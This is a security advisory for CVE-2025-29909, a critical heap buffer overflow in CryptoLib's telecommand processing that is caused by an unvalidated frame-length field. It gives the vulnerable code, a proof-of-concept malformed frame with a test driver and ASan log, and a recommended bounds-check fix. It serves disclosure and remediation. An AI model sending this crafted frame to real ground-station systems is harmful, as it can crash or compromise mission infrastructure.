Skip to content

Heap Buffer Overflow in CryptoLib’s Crypto_TC_ApplySecurity()

Critical
jlucas9 published GHSA-q2pc-c3jx-3852 Mar 17, 2025

Package

No package listed

Affected versions

<= 1.3.3

Patched versions

None

Description

Summary

A heap buffer overflow vulnerability in CryptoLib’s Crypto_TC_ApplySecurity() allows an attacker to craft a malicious TC frame that causes out-of-bounds memory writes. This can result in denial of service (DoS) or, under certain conditions, remote code execution (RCE).


Details

The vulnerability resides in the Crypto_TC_ApplySecurity_Cam (and similarly in Crypto_TC_ApplySecurity) function within crypto_tc.c, which calculates the TC frame payload length (tf_payload_len) based on a user-supplied field (fl – the frame length). Because the library does not validate the fl field:

  1. Underflow or Overflow in Length Calculation:

    tf_payload_len = temp_tc_header.fl - TC_FRAME_HEADER_SIZE
                                   - segment_hdr_len
                                   - fecf_len
                                   + 1;

    If fl is set to 0 or an extremely small integer, the resulting tf_payload_len can become a large value (e.g., 65529).

  2. Memory Copy Based on Incorrect Length:

    memcpy((p_new_enc_frame + index),
           (p_in_frame + TC_FRAME_HEADER_SIZE + segment_hdr_len),
            tf_payload_len);

    The subsequent memcpy copies far more bytes than the source buffer actually contains, leading to an out-of-bounds write. This behavior corrupts the heap, triggering a crash or potentially allowing code execution.

Source Code Reference
The critical under-validated code resides in crypto_tc.c:

// Calculate tf_payload length (in Crypto_TC_ApplySecurity_Cam)
tf_payload_len = temp_tc_header.fl - TC_FRAME_HEADER_SIZE
                               - segment_hdr_len
                               - fecf_len
                               + 1;

memcpy((p_new_enc_frame + index),
       (p_in_frame + TC_FRAME_HEADER_SIZE + segment_hdr_len),
       tf_payload_len);

PoC

  1. Minimal Input Triggering the Vulnerability
    A hex-encoded Telecommand frame such as:

    6403000000
    

    When processed, fl is interpreted as 0, causing tf_payload_len to underflow into a large number. This leads to a heap overflow in memcpy.

  2. Reproduction Steps

    1. Compile CryptoLib with AddressSanitizer (ASan) enabled.

    2. Run the following snippet (or an equivalent test driver):

      char* test_frame_pt_h = "6403000000"; // fl = 0
      uint8_t* test_frame_pt_b = NULL;
      int test_frame_pt_len = 0;
      
      // Convert hex to bytes
      hex_conversion(test_frame_pt_h, (char**)&test_frame_pt_b, &test_frame_pt_len);
      
      // Call the vulnerable function
      status = Crypto_TC_ApplySecurity(test_frame_pt_b, test_frame_pt_len, &ptr_processed_frame, &processed_tc_len);
      
      // Observe ASan error for heap-buffer-overflow
    3. Observe ASan Logs
      A typical output might look like this, indicating an out-of-bounds write:

      READ of size 65529 at 0x502000016f3b thread T0
      #0 0x7e31a8cfb12b in memcpy
      #1 0x7e31a936e494 in Crypto_TC_ApplySecurity_Cam
      #2 0x7e31a936c754 in Crypto_TC_ApplySecurity
      ...
      SUMMARY: AddressSanitizer: heap-buffer-overflow
      ...
      

      Note the READ of size 65529 confirms the huge length triggered by fl = 0.


Impact

  • Denial of Service (DoS): A malicious frame can lead to a process crash by corrupting heap memory.
  • Potential Remote Code Execution (RCE): In systems lacking robust heap protection, an attacker could leverage this overflow to hijack program execution.
  • Likelihood: High if CryptoLib processes untrusted TC frames (e.g., ground station, testing environment, or network-exposed services).

Who is Impacted?
Any application or system that relies on CryptoLib for Telecommand (TC) processing and does not strictly validate incoming TC frames is at risk. This includes satellite ground stations or mission control software where attackers can inject malformed frames.

Recommended Action:
Implement strict bounds-checking on the fl (frame length) field. Ensure tf_payload_len never becomes negative or exceeds the actual size of the input buffer before performing memcpy.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2025-29909

Weaknesses

Integer Underflow (Wrap or Wraparound)

The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result. Learn more on MITRE.

Out-of-bounds Write

The product writes data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

Credits